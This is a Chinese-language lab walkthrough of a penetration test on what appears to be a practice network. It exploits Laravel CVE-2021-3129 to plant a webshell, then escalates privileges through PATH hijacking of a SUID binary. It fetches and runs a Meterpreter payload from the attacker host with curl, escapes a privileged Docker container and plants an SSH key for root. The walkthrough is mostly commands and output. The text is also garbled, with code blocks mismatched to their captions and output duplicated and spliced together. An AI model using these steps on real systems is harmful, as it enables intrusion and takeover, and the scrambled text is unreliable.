  8.   224.0.0.252           01-00-5e-00-00-fc     static   
  9. Interface: 169.254.129.186 --- 0x16
  10.   Internet Address      Physical Address      Type
  11.   169.254.255.255       ff-ff-ff-ff-ff-ff     static   
  12.   224.0.0.22            01-00-5e-00-00-16     static   
  13.   224.0.0.252           01-00-5e-00-00-fc     static   
  14.   255.255.255.255       ff-ff-ff-ff-ff-ff     static   
  15. Interface: 192.168.93.20 --- 0x17
  16.   Internet Address      Physical Address      Type
  17.   192.168.93.30         00-50-56-b1-03-a1     dynamic   
  18.   192.168.93.40         00-50-56-b1-a1-a3     dynamic   
  19.   192.168.93.255        ff-ff-ff-ff-ff-ff     static   
  20.   224.0.0.22            01-00-5e-00-00-16     static   
  21.   224.0.0.252           01-00-5e-00-00-fc     static
复制代码
搜了一下,github 上有师傅写了主动化利用脚本:
  1. poc-yaml-laravel-cve-2021-3129
复制代码
Clone 到本地:
  1. git clone poc-yaml-laravel-cve-2021-3129.git
复制代码
根据 Github 上的利用提示实行脚本:
  1. git clone https://github.com/ajisai-babu/CVE-2021-3129-exp.git
复制代码
留意:这里利用了 proxychains 这个工具,其作用就是让后续下令走署理。这个工具在这就不先容了,各人可以自行网络搜刮该工具的用法。
用蚁剑(大概其他 Webshell 管理工具都可以)担当,先设置蚁剑的署理:


记得点击生存
添加数据:


担当乐成。
2、信息搜集

www-data 权限并不高,而且发现一些常见的网络下令也没有:
  1. ❯ proxychains python CVE-2021-3129.py -u http://192.168.52.20:8000 --exp
  2. [proxychains] config file found: /etc/proxychains4.conf
  3. [proxychains] preloading /usr/lib/x86_64-linux-gnu/libproxychains.so.4
  4. [proxychains] DLL init: proxychains-ng 4.17
  5. [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.52.20:8000  ...  OK
  6. [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.52.20:8000  ...  OK
  7. [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.52.20:8000  ...  OK
  8. [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.52.20:8000  ...  OK
  9. [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.52.20:8000  ...  OK
  10. [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.52.20:8000  ...  OK
  11. [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.52.20:8000  ...  OK
  12. [✅]检测到漏洞![🚩]url: http://192.168.52.20:8000 [❇️info]PHP版本:7.4.14 网站路径:/var/www/html 服务器地址:172.17.0.2 系统版本:Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64
  13. [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.52.20:8000  ...  OK
  14. [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.52.20:8000  ...  OK
  15. [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.52.20:8000  ...  OK
  16. [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.52.20:8000  ...  OK
  17. [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.52.20:8000  ...  OK
  18. [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.52.20:8000  ...  OK
  19. [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.52.20:8000  ...  OK
  20. [proxychains] Strict chain  ...  127.0.0.1:1080  ...  192.168.52.20:8000  ...  OK
  21. [OK] 成功写入webshell, 访问地址 http://192.168.52.20:8000/shell.php , 密码 whoami
复制代码
也能网络一些信息:
  1. (www-data:/var/www/html) $ ip addr
  2. /bin/sh: 1: ip: not found
  3. (www-data:/var/www/html) $ ifconfig
  4. /bin/sh: 1: ifconfig: not found
复制代码
这里能分析出这台主机是运行在 Docker 容器内里的。
为什么?
紧张基于几个 Docker 摆设时的典范特性:

  • hostname 下令直接输出了 8e172820ac78 这个 12 位的十六进制字符串,这正是 Docker 在默认设置下会主动把容器 ID 的前 12 位设置为容器主机名的做法,在物理机大概平凡假造机上很少会碰到这种随机的短十六进制主机名
  • /etc/hosts 文件里明确把 172.17.0.2 这个 IP 和主机名绑定在一起,而 172.17.0.0/16 网段是 Docker 默认 bridge 网络的尺度子网(容器通常会从 172.17.0.2 开始分配所在)
除上述指纹特性之外,着实另有一个最关键的证据,内核和利用体系版本的不匹配:/etc/os-release 和 /etc/issue 表现的是 Debian 10(buster),但 uname -a、/proc/version 表现的却是 Ubuntu 14.04 系列构建出来的 4.4.0-142-generic 内核。
容器是不会自带内核的,它会共用主机的内核,也就是说,这是一台:Debian 10 容器 + 宿主机 Ubuntu 系内核 4.4.0-142。
而且,检察历程:
  1. (www-data:/var/www/html) $ hostname && cat /etc/issue && uname -a && cat /etc/hosts
  2. 8e172820ac78
  3. Debian GNU/Linux 10 \n \l
  4. Linux 8e172820ac78 4.4.0-142-generic #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019 x86_64 GNU/Linux
  5. 127.0.0.1    localhost
  6. ::1    localhost ip6-localhost ip6-loopback
  7. fe00::0    ip6-localnet
  8. ff00::0    ip6-mcastprefix
  9. ff02::1    ip6-allnodes
  10. ff02::2    ip6-allrouters
  11. 172.17.0.2    8e172820ac78
  12. (www-data:/var/www/html) $ cat /proc/version
  13. Linux version 4.4.0-142-generic (buildd@lcy01-amd64-006) (gcc version 4.8.4 (Ubuntu 4.8.4-2cat /etc/hostname1~14.04.4) ) #168~14.04.1-Ubuntu SMP Sat Jan 19 11:26:28 UTC 2019
  14. (www-data:/var/www/html) $ cat /etc/os-release
  15. PRETTY_NAME="Debian GNU/Linux 10 (buster)"
  16. NAME="Debian GNU/Linux"
  17. VERSION_ID="10"
  18. VERSION="10 (buster)"
  19. VERSION_CODENAME=buster
  20. ID=debian
  21. HOME_URL="https://www.debian.org/"
  22. SUPPORT_URL="https://www.debian.org/support"
  23. BUG_REPORT_URL="https://bugs.debian.org/"
复制代码
也能显着发现这不是一台正常的主机。
平凡 Linux 主机的 PID 1 每每是 systemd、init 之类;容器里则常常是 sh、bash、apache2、nginx、php-fpm、python、业务启动脚本,大概一个很轻量的 supervisor。
3、权限提升

先实行一下容器内部提权。
检察用户有哪些 sudo 权限:
  1. (www-data:/var/www/html) $ ps -p 1 -f
  2. UID         PID   PPID  C STIME TTY          TIME CMD
  3. root          1      0  0 00:38 ?        00:00:00 apache2 -DFOREGROUND
复制代码
输出:
  1. (www-data:/var/www/html) $ (www-data:/var/www/html) $ ps -p 1 -f
  2. UID         PID   PPID  C STIME TTY          TIME CMD
  3. root          1      0  0 00:38 ?        00:00:00 apache2 -DFOREGROUNDWe trust you have received the usual lecture from the local SystemAdministrator. It usually boils down to these three things:    #1) Respect the privacy of others.    #2) Think before you type.    #3) With great power comes great responsibility.sudo: no tty present and no askpass program specified
复制代码
并没有。
检察带 SUID 的文件:
  1. (www-data:/var/www/html) $ sudo -l
  2. We trust you have received the usual lecture from the local System
  3. Administrator. It usually boils down to these three things:
  4.     #1) Respect the privacy of others.
  5.     #2) Think before you type.
  6.     #3) With great power comes great responsibility.
  7. sudo: no tty present and no askpass program specified
复制代码
  1. (www-data:/var/www/html) $ (www-data:/var/www/html) $ sudo -l
  2. We trust you have received the usual lecture from the local System
  3. Administrator. It usually boils down to these three things:
  4.     #1) Respect the privacy of others.
  5.     #2) Think before you type.
  6.     #3) With great power comes great responsibility.
  7. sudo: no tty present and no askpass program specified    25922     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh    25969     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd    26022     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd    26012     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp    25919     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn   325013    156 -rwsr-xr-x   1 root     root       157192 Jan 20  2021 /usr/bin/sudo   325077     20 -rwsr-xr-x   1 root     root        16712 Feb 25  2021 (www-data:/var/www/html) $ find / -type f -perm -04000 -ls 2>/dev/null
  8.     25922     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
  9.     25969     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
  10.     26022     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
  11.     26012     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
  12.     25919     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
  13.    325013    156 -rwsr-xr-x   1 root     root       157192 Jan 20  2021 /usr/bin/sudo
  14.    325077     20 -rwsr-xr-x   1 root     root        16712 Feb 25  2021 /home/jobs/shell
  15.     25400     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /bin/mount
  16.     25418     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /bin/su
  17.     25424     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /bin/umount    25400     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /bin/mount    25418     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /bin/su    25424     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /bin/umount
复制代码
有显着的可疑对象:
  1. (www-data:/var/www/html) $ find / -type f -perm -04000 -ls 2>/dev/null
  2.     25922     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
  3.     25969     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
  4.     26022     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
  5.     26012     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
  6.     25919     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
  7.    325013    156 -rwsr-xr-x   1 root     root       157192 Jan 20  2021 /usr/bin/sudo
  8.    325077     20 -rwsr-xr-x   1 root     root        16712 Feb 25  2021 /home/jobs/shell
  9.     25400     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /bin/mount
  10.     25418     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /bin/su
  11.     25424     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /bin/umount
复制代码
缘故因由:家目次下的非官方目次(jobs)下有一个叫 shell 的可运行文件。
进入该目次,并检察目次下的文件:
  1. /home/jobs/shell
复制代码
我们有来由推测,demo.c 就是 shell 编译前的容貌,检察:
  1. (www-data:/var/www/html) $ cd /home/jobs
  2. (www-data:/home/jobs) $ ls
  3. demo.c
  4. shell
复制代码
实行了一个体系下令,而且是相对路径(大概存在 PATH 提权路径)。
验证 shell 是否真的和我们所判定的一样,是 demo.c 编译后的版本,运行:
  1. (www-data:/home/jobs) $ cat demo.c
  2. #include<unistd.h>
  3. void main()
  4. { setuid(0);
  5.   setgid(0);
  6.   system("ps");
  7. }
复制代码
输出了历程,正如我们所料。
各人假如此处没输出可以多实行频频,这是 Webshell 固有的标题(缓存、时间限定等因素)。
查找可写目次:
  1. (www-data:/home/jobs) $ ./shell
  2.    PID TTY          TIME CMD
  3.      1 ?        00:00:00 apache2
  4.    125 ?        00:00:00 shell
  5.    126 ?        00:00:00 sh
  6.    127 ?        00:00:00 ps
复制代码
  1. (www-data:/home/jobs) $ (www-data:/home/jobs) $ ./shell
  2.    PID TTY          TIME CMD
  3.      1 ?        00:00:00 apache2
  4.    125 ?        00:00:00 shell
  5.    126 ?        00:00:00 sh
  6.    127 ?        00:00:00 psdev/fddev/fulldev/fusedev/mqueuedev/netdev/nulldev/ptmxdev/ptsdev/randomdev/shmdev/stderrdev/stdoutdev/ttydev/urandomdev/zerolib/systemdmsf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.52.30/apache2msf exploit(windows/smb/ms17_010_eternalblue) > set RHOSTS 192.168.52.30/locksys/fstmpvar/cachevar/lockvar/logvar/tmpvar/www
复制代码
我选择的是 /tmp 目次,伪造 ps 步伐:
  1. (www-data:/home/jobs) $ find / -writable 2>/dev/null | cut -d "/" -f 2,3 | grep -v proc | sort -u
  2. dev/fd
  3. dev/full
  4. dev/fuse
  5. dev/mqueue
  6. dev/net
  7. dev/null
  8. dev/ptmx
  9. dev/pts
  10. dev/random
  11. dev/shm
  12. dev/stderr
  13. dev/stdout
  14. dev/tty
  15. dev/urandom
  16. dev/zero
  17. lib/systemd
  18. run/apache2
  19. run/lock
  20. sys/fs
  21. tmp
  22. var/cache
  23. var/lock
  24. var/log
  25. var/tmp
  26. var/www
复制代码
添加实行权限:
  1. (www-data:/home/jobs) $ printf '#!chroot /hack\nchroot /hack -c 'whoami'\n' > /tmp/ps
复制代码
添加环境变量(留意要添加在当前环境变量的前面),而且实行 shell 步伐:
  1. (www-data:/home/jobs) $ chmod +x /tmp/ps
复制代码
PATH 提权乐成!
由于如今是 Webshell,无法反弹 root shell 返来,上面的只是在测试是否能通过 PATH 提权。
4、Meterpreter

Webshell 中无法直接实现交互式 root shell,筹划让其上线 MSF。
先创建反向署理,这须要在跳板机上修改 ssh server 的设置文件。

登入:
  1. (www-data:/home/jobs) $ export PATH=/tmp:$PATH && ./shell
  2. root
复制代码
修改文件:
  1. ssh -i target root@192.168.111.20
复制代码
在文件中找到:
  1. vim /etc/ssh/sshd_config
复制代码
将其表明取消,而且值改成 yes:
  1. #GatewayPorts no
复制代码
重启 ssh 服务:
  1. GatewayPorts yes
复制代码
退出登入,在 kali 中利用下述下令创建反向署理:
  1. systemctl restart sshd
复制代码
WP 篇幅较长,克制各人忘记,这里的 target 是私钥文件。
开启 MSF:
  1. ssh -i target -D 1080 -N -C root@192.168.111.20
复制代码
选择模块:
  1. msfconsole
复制代码
干系设置:
  1. exploit/multi/script/web_delivery
复制代码
实行模块:

会得到一串 linux 下令(wget 开头),但是目的上并没有 wget 下令,颠末查抄发现,curl 是可以正常利用的,这个也可以用于下载文件:
  1. set target Linux
  2. set payload linux/x64/meterpreter/reverse_tcp
  3. set LHOST 192.168.52.10
  4. set SRVPORT 6666
复制代码
留意找到一个能写能改权限的目次。
下载乐成后,赋予权限:
  1. cd /tmp && curl -O http://192.168.52.10:6666/XTUK5wgCV
复制代码
然后,用我们之前找到的提权方法,以 root 权限实行该文件,如许就可以得到 root 权限的 meterpreter:
  1. (www-data:/tmp) $ printf '#!chroot /hack\nchroot /hack -c '/tmp/XTUK5wgCV'\n' > /tmp/ps(www-data:/tmp) $ export PATH=/tmp:$PATH && (www-data:/var/www/html) $ find / -type f -perm -04000 -ls 2>/dev/null
  2.     25922     44 -rwsr-xr-x   1 root     root        44528 Jul 27  2018 /usr/bin/chsh
  3.     25969     84 -rwsr-xr-x   1 root     root        84016 Jul 27  2018 /usr/bin/gpasswd
  4.     26022     64 -rwsr-xr-x   1 root     root        63736 Jul 27  2018 /usr/bin/passwd
  5.     26012     44 -rwsr-xr-x   1 root     root        44440 Jul 27  2018 /usr/bin/newgrp
  6.     25919     56 -rwsr-xr-x   1 root     root        54096 Jul 27  2018 /usr/bin/chfn
  7.    325013    156 -rwsr-xr-x   1 root     root       157192 Jan 20  2021 /usr/bin/sudo
  8.    325077     20 -rwsr-xr-x   1 root     root        16712 Feb 25  2021 /home/jobs/shell
  9.     25400     52 -rwsr-xr-x   1 root     root        51280 Jan 10  2019 /bin/mount
  10.     25418     64 -rwsr-xr-x   1 root     root        63568 Jan 10  2019 /bin/su
  11.     25424     36 -rwsr-xr-x   1 root     root        34888 Jan 10  2019 /bin/umount
复制代码
实行乐成后,会发现 MSF 上线了一个 session(我这里是 session 2),附上去:
  1. (www-data:/tmp) $ printf '#!chroot /hack\nchroot /hack -c '/tmp/XTUK5wgCV'\n' > /tmp/ps
  2. (www-data:/tmp) $ export PATH=/tmp:$PATH && /home/jobs/shell
复制代码
检察权限:

5、容器逃逸

容器内没啥有用的信息,实行容器逃逸。
最容易利用、也最容易想到的就是“Privileged Container Escape(特权容器逃逸)”
起首,确认容器是否为 Privileged 模式(逃逸条件):
  1. sessions -i 2
复制代码
输出:
  1. lsblk
  2. fdisk -l 2>/dev/null
复制代码
起首,宿主机的整块物理磁盘能直接看到:
  1. root@8e172820ac78:/tmp# lsblk
  2. lsblk
  3. NAME   MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
  4. sda      8:0    0  10G  0 disk
  5. |-sda1   8:1    0   8G  0 part /etc/hosts
  6. |-sda2   8:2    0   1K  0 part
  7. `-sda5   8:5    0   2G  0 part [SWAP]
  8. root@8e172820ac78:/tmp# fdisk -l 2>/dev/null
  9. fdisk -l 2>/dev/null
  10. Disk /dev/sda: 10 GiB, 10737418240 bytes, 20971520 sectors
  11. Disk model: Virtual disk   
  12. Units: sectors of 1 * 512 = 512 bytes
  13. Sector size (logical/physical): 512 bytes / 512 bytes
  14. I/O size (minimum/optimal): 512 bytes / 512 bytes
  15. Disklabel type: dos
  16. Disk identifier: 0x00063af9
  17. Device     Boot    Start      End  Sectors Size Id Type
  18. /dev/sda1  *        2048 16779263 16777216   8G 83 Linux
  19. /dev/sda2       16781310 20969471  4188162   2G  5 Extended
  20. /dev/sda5       16781312 20969471  4188160   2G 82 Linux swap / Solaris
复制代码
而且 lsblk 表现出来的 MOUNTPOINT 字段中有记录表现 /etc/hosts,这正是 Docker 将宿主机的 /etc/hosts bind mount 进容器的典范表现。
创建一个目次用于挂在宿主机的真实目次:
  1. /dev/sda
复制代码
表现:
  1. root@8e172820ac78:/tmp# /dev/sda/dev/sdamkdir: cannot create directory '/hack': File exists
复制代码
分析目次已经存在了,直接挂在就行:
  1. mount root@8e172820ac78:/tmp# lsblk
  2. lsblk
  3. NAME   MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
  4. sda      8:0    0  10G  0 disk
  5. |-sda1   8:1    0   8G  0 part /etc/hosts
  6. |-sda2   8:2    0   1K  0 part
  7. `-sda5   8:5    0   2G  0 part [SWAP]
  8. root@8e172820ac78:/tmp# fdisk -l 2>/dev/null
  9. fdisk -l 2>/dev/null
  10. Disk /dev/sda: 10 GiB, 10737418240 bytes, 20971520 sectors
  11. Disk model: Virtual disk   
  12. Units: sectors of 1 * 512 = 512 bytes
  13. Sector size (logical/physical): 512 bytes / 512 bytes
  14. I/O size (minimum/optimal): 512 bytes / 512 bytes
  15. Disklabel type: dos
  16. Disk identifier: 0x00063af9
  17. Device     Boot    Start      End  Sectors Size Id Type
  18. /dev/sda1  *        2048 16779263 16777216   8G 83 Linux
  19. /dev/sda2       16781310 20969471  4188162   2G  5 Extended
  20. /dev/sda5       16781312 20969471  4188160   2G 82 Linux swap / Solaris1 /hack
复制代码
挂载乐成后,/hack 目次就是宿主机的完备根目次,比如:/hack/etc/passwd 就是宿主机的 /etc/passwd)
但是这么转换照旧比力贫苦,也容易出现标题,利用 chroot 更改目次:
  1. mount /dev/sda1 /hack
复制代码
如许一来,/ 就酿成了 /hack。
切换宿主机 shell:
  1. chroot /hack
复制代码
验证是否切换乐成:
  1. /bin/bash
复制代码
输出:
  1. cat /etc/hostname
复制代码
逃逸乐成,但是如今只是到达了文件体系的逃逸,网络层面照旧在容器内里,检察 ip addr 就知道了:
  1. ubuntu
复制代码
5、获取宿主机的 root

之前扫描能得到主机开放了 22 端口,我们故技重施,写入 ssh 公钥,然后用 ssh 直接毗连靶机,如许就能得到完备的宿主机 root。
找到之宿世成的公钥,将内里的内容输出出来:
  1. ❯ cat target.pub
  2. ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYrIRFtsijwuU43JeBFUwC04tSP3jNnl3ujMwgOO7FIOaDe0c7Wsp+qk/vpSKfhnTfyPAmHrO5q58zbDuFCzBrQrUNxUXVXJaO6k8csJ2VuPBh5YN7W61q9Cs62BacSX9QHDv+EhCkewVW2O3oGWbvWODnQh8tbwV815HyP15hlIXrisEp9DHWqhvz2scKYcVPw38g31yUJkcMU4T83yMziBSIKgDi/6+RB7JsJXZ+x72QAQtFes6JHYDl1Z3NQmPCdesww/Bx0hwXOx3d9LJAtpV9WIPMVbK05bMlwdDs321yX060WZOJwrQBgG2gqLNANjjouOIJlyrHLNRt5QfACNkFWNehWtckYLtV1/03cF02medJ/IJMt1yokLo/O2hcG0NK8vOxbUbcBrXUfHxHUWSUYwyag7L0SYctycjCi7lIXze8UhTf7C8oT7fPPzRiuoEu6KRuxXCxEJEOBa928iD/OhLu0JlVf+W2NrAnw3zJZJjh9ckHhATu+oFagg0= zyf@kali
复制代码
由于宿主机上没有对应目次和文件,先创建目次:
  1. ❯ cat target.pub
  2. ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYrIRFtsijwuU43JeBFUwC04tSP3jNnl3ujMwgOO7FIOaDe0c7Wsp+qk/vpSKfhnTfyPAmHrO5q58zbDuFCzBrQrUNxUXVXJaO6k8csJ2VuPBh5YN7W61q9Cs62BacSX9QHDv+EhCkewVW2O3oGWbvWODnQh8tbwV815HyP15hlIXrisEp9DHWqhvz2scKYcVPw38g31yUJkcMU4T83yMziBSIKgDi/6+RB7JsJXZ+x72QAQtFes6JHYDl1Z3NQmPCdesww/Bx0hwXOx3d9LJAtpV9WIPMVbK05bMlwdDs321yX060WZOJwrQBgG2gqLNANjjouOIJlyrHLNRt5QfACNkFWNehWtckYLtV1/03cF02medJ/IJMt1yokLo/O2hcG0NK8vOxbUbcBrXUfHxHUWSUYwyag7L0SYctycjCi7lIXze8UhTf7C8oT7fPPzRiuoEu6KRuxXCxEJEOBa928iD/OhLu0JlVf+W2NrAnw3zJZJjh9ckHhATu+oFagg0= zyf@kali
复制代码
写入:
  1. cat > /root/.ssh/authorized_keys /dev/nullChain INPUT (policy ACCEPT 2829 packets, 279K bytes) pkts bytes target     prot opt in     out     source               destination         Chain FORWARD (policy DROP 0 packets, 0 bytes) pkts bytes target     prot opt in     out     source               destination          6009   13M DOCKER-USER  all  --  *      *       0.0.0.0/0            0.0.0.0/0            6009   13M DOCKER-ISOLATION-STAGE-1  all  --  *      *       0.0.0.0/0            0.0.0.0/0            2591 7215K ACCEPT     all  --  *      docker0  0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED  179 10740 DOCKER     all  --  *      docker0  0.0.0.0/0            0.0.0.0/0            3239 6271K ACCEPT     all  --  docker0 !docker0  0.0.0.0/0            0.0.0.0/0               0     0 ACCEPT     all  --  docker0 docker0  0.0.0.0/0            0.0.0.0/0               0     0 ACCEPT     all  --  *      br-05384b1b0df2  0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED    0     0 DOCKER     all  --  *      br-05384b1b0df2  0.0.0.0/0            0.0.0.0/0               0     0 ACCEPT     all  --  br-05384b1b0df2 !br-05384b1b0df2  0.0.0.0/0            0.0.0.0/0               0     0 ACCEPT     all  --  br-05384b1b0df2 br-05384b1b0df2  0.0.0.0/0            0.0.0.0/0               0     0 ACCEPT     all  --  *      br-f0d07941b332  0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED    0     0 DOCKER     all  --  *      br-f0d07941b332  0.0.0.0/0            0.0.0.0/0               0     0 ACCEPT     all  --  br-f0d07941b332 !br-f0d07941b332  0.0.0.0/0            0.0.0.0/0               0     0 ACCEPT     all  --  br-f0d07941b332 br-f0d07941b332  0.0.0.0/0            0.0.0.0/0               0     0 ACCEPT     all  --  *      br-1d665e13ee58  0.0.0.0/0            0.0.0.0/0            ctstate RELATED,ESTABLISHED    0     0 DOCKER     all  --  *      br-1d665e13ee58  0.0.0.0/0            0.0.0.0/0               0     0 ACCEPT     all  --  br-1d665e13ee58 !br-1d665e13ee58  0.0.0.0/0            0.0.0.0/0               0     0 ACCEPT     all  --  br-1d665e13ee58 br-1d665e13ee58  0.0.0.0/0            0.0.0.0/0           Chain OUTPUT (policy ACCEPT 2050 packets, 181K bytes) pkts bytes target     prot opt in     out     source               destination         Chain DOCKER (4 references) pkts bytes target     prot opt in     out     source               destination           179 10740 ACCEPT     tcp  --  !docker0 docker0  0.0.0.0/0            172.17.0.2           tcp dpt:80Chain DOCKER-ISOLATION-STAGE-1 (1 references) pkts bytes target     prot opt in     out     source               destination          3239 6271K DOCKER-ISOLATION-STAGE-2  all  --  docker0 !docker0  0.0.0.0/0            0.0.0.0/0               0     0 DOCKER-ISOLATION-STAGE-2  all  --  br-05384b1b0df2 !br-05384b1b0df2  0.0.0.0/0            0.0.0.0/0               0     0 DOCKER-ISOLATION-STAGE-2  all  --  br-f0d07941b332 !br-f0d07941b332  0.0.0.0/0            0.0.0.0/0               0     0 DOCKER-ISOLATION-STAGE-2  all  --  br-1d665e13ee58 !br-1d665e13ee58  0.0.0.0/0            0.0.0.0/0            6009   13M RETURN     all  --  *      *       0.0.0.0/0            0.0.0.0/0           Chain DOCKER-ISOLATION-STAGE-2 (4 references) pkts bytes target     prot opt in     out     source               destination             0     0 DROP       all  --  *      docker0  0.0.0.0/0            0.0.0.0/0               0     0 DROP       all  --  *      br-05384b1b0df2  0.0.0.0/0            0.0.0.0/0               0     0 DROP       all  --  *      br-f0d07941b332  0.0.0.0/0            0.0.0.0/0               0     0 DROP       all  --  *      br-1d665e13ee58  0.0.0.0/0            0.0.0.0/0            3239 6271K RETURN     all  --  *      *       0.0.0.0/0            0.0.0.0/0           Chain DOCKER-USER (1 references) pkts bytes target     prot opt in     out     source               destination          6009   13M RETURN     all  --  *      *       0.0.0.0/0            0.0.0.0/0           root@cat /etc/hostname:~# ufw status 2>/dev/nullStatus: inactiveroot@cat /etc/hostname:~# nft list ruleset 2>/dev/nullroot@cat /etc/hostname:~#
复制代码
可以看出:宿主机本机没有入站和出站的限定,直接上 fscan:
  1. cat > /root/.ssh/authorized_keys << 'EOF'
  2. ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDYrIRFtsijwuU43JeBFUwC04tSP3jNnl3ujMwgOO7FIOaDe0c7Wsp+qk/vpSKfhnTfyPAmHrO5q58zbDuFCzBrQrUNxUXVXJaO6k8csJ2VuPBh5YN7W61q9Cs62BacSX9QHDv+EhCkewVW2O3oGWbvWODnQh8tbwV815HyP15hlIXrisEp9DHWqhvz2scKYcVPw38g31yUJkcMU4T83yMziBSIKgDi/6+RB7JsJXZ+x72QAQtFes6JHYDl1Z3NQmPCdesww/Bx0hwXOx3d9LJAtpV9WIPMVbK05bMlwdDs321yX060WZOJwrQBgG2gqLNANjjouOIJlyrHLNRt5QfACNkFWNehWtckYLtV1/03cF02medJ/IJMt1yokLo/O2hcG0NK8vOxbUbcBrXUfHxHUWSUYwyag7L0SYctycjCi7lIXze8UhTf7C8oT7fPPzRiuoEu6KRuxXCxEJEOBa928iD/OhLu0JlVf+W2NrAnw3zJZJjh9ckHhATu+oFagg0= zyf@kali
  3. EOF
复制代码
赋予权限之后,直接运行:
  1. root@cat /etc/hostname:/tmp# ./fscan -h 192.168.93.0/24   ___                              _      / _ \     ___  ___ _ __ __ _  ___| | __  / /_\/____/ __|/ __| '__/ _` |/ __| |/ // /_\\_____\__ \ (__| | | (_| | (__|   <    \____/     |___/\___|_|  \__,_|\___|_|\_\                        fscan version: 1.8.4start infoscan(icmp) Target 192.168.93.10   is alive(icmp) Target 192.168.93.20   is alive(icmp) Target 192.168.93.30   is alive(icmp) Target 192.168.93.40   is alive
  2. [*] Icmp alive hosts len is: 4192.168.93.10:8000 open192.168.93.30:88 open192.168.93.20:8080 open192.168.93.20:1081 open192.168.93.20:1080 open192.168.93.40:445 open192.168.93.30:445 open192.168.93.20:445 open192.168.93.40:139 open192.168.93.30:139 open192.168.93.20:139 open192.168.93.40:135 open192.168.93.30:135 open192.168.93.20:135 open192.168.93.10:22 open
  3. [*] alive ports len is: 15start vulscan
  4. [*] NetInfo
  5. [*]192.168.93.30   [->]DC   [->]192.168.93.30[+] MS17-010 192.168.93.30      (Windows Server 2012 R2 Datacenter 9600)                                                                      [+] MS17-010 192.168.93.40      (Windows 7 Professional 7601 Service Pack 1)                                                                  
  6. [*] NetBios 192.168.93.30   [+] DC:DC.whoamianony.org            Windows Server 2012 R2 Datacenter 9600[+] MS17-010 192.168.93.20      (Windows 7 Professional 7601 Service Pack 1)                                                                  
  7. [*] NetBios 192.168.93.40   PC2.whoamianony.org                 Windows 7 Professional 7601 Service Pack 1
  8. [*] WebTitle http://192.168.93.20:8080 code:200 len:10065  title:通达OA网络智能办公体系[+] InfoScan http://192.168.93.20:8080 [通达OA]
  9. [*] WebTitle http://192.168.93.10:8000 code:200 len:17474  title:Laravel[+] InfoScan http://192.168.93.10:8000 [Laravel] [+] PocScan http://192.168.93.20:8080 tongda-user-session-disclosure   [+] PocScan http://192.168.93.10:8000 C:\Windows\system32>arp -a
  10. arp -a
  11. Interface: 192.168.52.30 --- 0xb
  12.   Internet Address      Physical Address      Type
  13.   192.168.52.10         00-50-56-b1-f7-eb     dynamic   
  14.   192.168.52.255        ff-ff-ff-ff-ff-ff     static   
  15.   224.0.0.22            01-00-5e-00-00-16     static   
  16.   224.0.0.252           01-00-5e-00-00-fc     static   
  17. Interface: 169.254.129.186 --- 0x16
  18.   Internet Address      Physical Address      Type
  19.   169.254.255.255       ff-ff-ff-ff-ff-ff     static   
  20.   224.0.0.22            01-00-5e-00-00-16     static   
  21.   224.0.0.252           01-00-5e-00-00-fc     static   
  22.   255.255.255.255       ff-ff-ff-ff-ff-ff     static   
  23. Interface: 192.168.93.20 --- 0x17
  24.   Internet Address      Physical Address      Type
  25.   192.168.93.30         00-50-56-b1-03-a1     dynamic   
  26.   192.168.93.40         00-50-56-b1-a1-a3     dynamic   
  27.   192.168.93.255        ff-ff-ff-ff-ff-ff     static   
